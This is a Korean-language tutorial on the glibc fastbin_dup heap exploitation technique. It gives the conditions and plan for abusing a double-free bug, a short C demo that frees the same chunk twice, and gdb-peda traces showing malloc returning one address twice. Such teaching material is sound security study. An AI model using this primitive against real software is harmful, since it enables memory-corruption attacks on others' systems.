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Conditions

  • 해당 기술은 다음과 같은 조건에서 동작합니다.
    • 공격자에 의해 동일한 크기의 Fast chunk의 할당과 해제가 자유로워야 합니다.
    • 공격자에 의해 해제된 Fast chunk를 한번더 해제 할 수 있어야 합니다.(Double free bug)

Exploit plan

  • 다음과 같은 방법으로 공격할 수 있습니다.
    • 동일한 크기의 Fast chunk 3개를 생성합니다.
    • 첫번재 Fast chunk를 해제 합니다.
    • 두번째 Fast chunk를 해제 합니다.
    • 해제된 첫번재 Fast chunk를 다시 한번 해제 합니다.

    • 공격 대상 영역과 같은 크기의 Heap 을 3개 할당 합니다.
      • 첫번재 Heap 영역과 세번째 Heap 영역의 주소가 같습니다.

Example

Files

Source code

#include <stdio.h>
#include <stdlib.h>

int main()
{
        int *buf1 = malloc(112);
        int *buf2 = malloc(112);
        int *buf3 = malloc(112);

        free(buf1);
        free(buf2);
        free(buf1);

        int *buf4 = malloc(112);
        int *buf5 = malloc(112);
        int *buf6 = malloc(112);
}

Exploit flow

fastbin_dup

Debugging

  • 다음과 같이 Break point를 설정합니다.
    • 0x4005b6 : 1번째 free() 함수 호출

    • 0x4005c2 : 2번째 free() 함수 호출

    • 0x4005ce : 3번째 free() 함수 호출

    • 0x4005dd : 4번째 malloc() 함수 호출

    • 0x4005eb : 5번째 malloc() 함수 호출

    • 0x4005f9 : 6번째 malloc() 함수 호출

gdb-peda$ b *0x00000000004005b6
Breakpoint 1 at 0x4005b6
gdb-peda$ b *0x00000000004005c2
Breakpoint 2 at 0x4005c2
gdb-peda$ b *0x00000000004005ce
Breakpoint 3 at 0x4005ce
gdb-peda$ b *0x00000000004005dd
Breakpoint 4 at 0x4005dd
gdb-peda$ b *0x00000000004005eb
Breakpoint 5 at 0x4005eb
gdb-peda$ b *0x00000000004005f9
Breakpoint 6 at 0x4005f9
gdb-peda$ 
  • 다음과 같이 할당된 Heap 영역을 확인 할 수 있습니다.
    • free() 함수 호출 전에 fastbinsY에 등록된 Chunk가 없습니다.
    • 첫번째 free() 함수 호출 후에 fastbinsY에 0x602000 영역이 등록됩니다.
Break point - 0x4005b6
gdb-peda$ r
Starting program: /home/lazenca0x0/Documents/def/fastbin_dup 
Breakpoint 1, 0x00000000004005b6 in main ()

gdb-peda$ x/50gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000081
0x602010:	0x0000000000000000	0x0000000000000000
0x602020:	0x0000000000000000	0x0000000000000000
0x602030:	0x0000000000000000	0x0000000000000000
0x602040:	0x0000000000000000	0x0000000000000000
0x602050:	0x0000000000000000	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000000000
0x602070:	0x0000000000000000	0x0000000000000000
0x602080:	0x0000000000000000	0x0000000000000081
0x602090:	0x0000000000000000	0x0000000000000000
0x6020a0:	0x0000000000000000	0x0000000000000000
0x6020b0:	0x0000000000000000	0x0000000000000000
0x6020c0:	0x0000000000000000	0x0000000000000000
0x6020d0:	0x0000000000000000	0x0000000000000000
0x6020e0:	0x0000000000000000	0x0000000000000000
0x6020f0:	0x0000000000000000	0x0000000000000000
0x602100:	0x0000000000000000	0x0000000000000081
0x602110:	0x0000000000000000	0x0000000000000000
0x602120:	0x0000000000000000	0x0000000000000000
0x602130:	0x0000000000000000	0x0000000000000000
0x602140:	0x0000000000000000	0x0000000000000000
0x602150:	0x0000000000000000	0x0000000000000000
0x602160:	0x0000000000000000	0x0000000000000000
0x602170:	0x0000000000000000	0x0000000000000000
0x602180:	0x0000000000000000	0x0000000000020e81
gdb-peda$ p main_arena.fastbinsY 
$1 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}
gdb-peda$ ni
0x00000000004005bb in main ()
gdb-peda$ p main_arena.fastbinsY 
$2 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x602000, 0x0, 0x0, 0x0}
gdb-peda$ 
  • 다음과 같이 해제된 2번째 Heap 영역이 fastbinsY에 등록되었습니다.
    • fastbinsY 영역에는 최근에 해제된 heap영역이 등록됩니다.
    • 2번째 해제된 Heap 영역에 free chunk가 생성됩니다.
      • fd 영역에 이전에 해제된 free chunk의 주소가 저장됩니다.
Break point - 0x4005c2
gdb-peda$ c
Continuing.
Breakpoint 2, 0x00000000004005c2 in main ()
gdb-peda$ ni
gdb-peda$ p main_arena.fastbinsY 
$4 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x602080, 0x0, 0x0, 0x0}

gdb-peda$ x/50gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000081
0x602010:	0x0000000000000000	0x0000000000000000
0x602020:	0x0000000000000000	0x0000000000000000
0x602030:	0x0000000000000000	0x0000000000000000
0x602040:	0x0000000000000000	0x0000000000000000
0x602050:	0x0000000000000000	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000000000
0x602070:	0x0000000000000000	0x0000000000000000
0x602080:	0x0000000000000000	0x0000000000000081
0x602090:	0x0000000000602000	0x0000000000000000
0x6020a0:	0x0000000000000000	0x0000000000000000
0x6020b0:	0x0000000000000000	0x0000000000000000
0x6020c0:	0x0000000000000000	0x0000000000000000
0x6020d0:	0x0000000000000000	0x0000000000000000
0x6020e0:	0x0000000000000000	0x0000000000000000
0x6020f0:	0x0000000000000000	0x0000000000000000
0x602100:	0x0000000000000000	0x0000000000000081
0x602110:	0x0000000000000000	0x0000000000000000
0x602120:	0x0000000000000000	0x0000000000000000
0x602130:	0x0000000000000000	0x0000000000000000
0x602140:	0x0000000000000000	0x0000000000000000
0x602150:	0x0000000000000000	0x0000000000000000
0x602160:	0x0000000000000000	0x0000000000000000
0x602170:	0x0000000000000000	0x0000000000000000
0x602180:	0x0000000000000000	0x0000000000020e81
gdb-peda$ 
  • 다음과 같이 해제되었던 Chunk가 fastbinsY에 등록되었습니다.
    • 해제된 heap 영역을 다시 해제가 가능합니다.
    • 해제되었던 영역이 fastbinsY에 정상적으로 등록됩니다.
    • 그리고 해당 Free chunk의 fd 영역에 2번재 Free chunk의 주소가 저장됩니다.
Break point - 0x4005ce
gdb-peda$ c
Continuing.


Breakpoint 3, 0x00000000004005ce in main ()
gdb-peda$ ni
0x00000000004005d3 in main ()
gdb-peda$ p main_arena.fastbinsY 
$5 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x602000, 0x0, 0x0, 0x0}
gdb-peda$ x/50gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000081
0x602010:	0x0000000000602080	0x0000000000000000
0x602020:	0x0000000000000000	0x0000000000000000
0x602030:	0x0000000000000000	0x0000000000000000
0x602040:	0x0000000000000000	0x0000000000000000
0x602050:	0x0000000000000000	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000000000
0x602070:	0x0000000000000000	0x0000000000000000
0x602080:	0x0000000000000000	0x0000000000000081
0x602090:	0x0000000000602000	0x0000000000000000
0x6020a0:	0x0000000000000000	0x0000000000000000
0x6020b0:	0x0000000000000000	0x0000000000000000
0x6020c0:	0x0000000000000000	0x0000000000000000
0x6020d0:	0x0000000000000000	0x0000000000000000
0x6020e0:	0x0000000000000000	0x0000000000000000
0x6020f0:	0x0000000000000000	0x0000000000000000
0x602100:	0x0000000000000000	0x0000000000000081
0x602110:	0x0000000000000000	0x0000000000000000
0x602120:	0x0000000000000000	0x0000000000000000
0x602130:	0x0000000000000000	0x0000000000000000
0x602140:	0x0000000000000000	0x0000000000000000
0x602150:	0x0000000000000000	0x0000000000000000
0x602160:	0x0000000000000000	0x0000000000000000
0x602170:	0x0000000000000000	0x0000000000000000
0x602180:	0x0000000000000000	0x0000000000020e81
gdb-peda$ 
  • 다음과 같이 Heap 영역을 할당 받습니다.
    • 4번째 malloc(112) : 0x602010
    • 5번째 malloc(112) : 0x602090
    • 6번째 malloc(112) : 0x602010
  • fastbinsY의 변화
    • 0x602000 → 0x602080 → 0x602000 → 0x602080

    • malloc()함수는 fastbinsY에 동일한 크기의 free chunk가 존재하기 때문에 fastbinsY에 등록되어 있는 heap 영역을 재할당 합니다.
  • 이러한 현상이 발생하는 이유는 다음과 같습니다.
    • fastbins은 free chunk를 Single list로 관리하고 있습니다.
      • 동일한 크기의 fast chunk가 여러 개가 해제되면, chunk header의 fd 영역을 이용해 관리합니다.
    • 즉, 해당 현상이 발생하는 이유는 Double free로 인해 buf1과 buf2 free chunk의 fd 값이 상대 chunk를 가리키고 있기 때문입니다.
Exploit
gdb-peda$ c
Continuing.
Breakpoint 4, 0x00000000004005dd in main ()
gdb-peda$ i r rax
rax            0x602010	0x602010
gdb-peda$ p main_arena.fastbinsY 
$6 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x602080, 0x0, 0x0, 0x0}

gdb-peda$ c
Continuing.
Breakpoint 5, 0x00000000004005eb in main ()
gdb-peda$ i r rax
rax            0x602090	0x602090
gdb-peda$ p main_arena.fastbinsY 
$7 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x602000, 0x0, 0x0, 0x0}


gdb-peda$ c
Continuing.
Breakpoint 6, 0x00000000004005f9 in main ()
gdb-peda$ i r rax
rax            0x602010	0x602010
gdb-peda$ p main_arena.fastbinsY 
$8 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x602080, 0x0, 0x0, 0x0}

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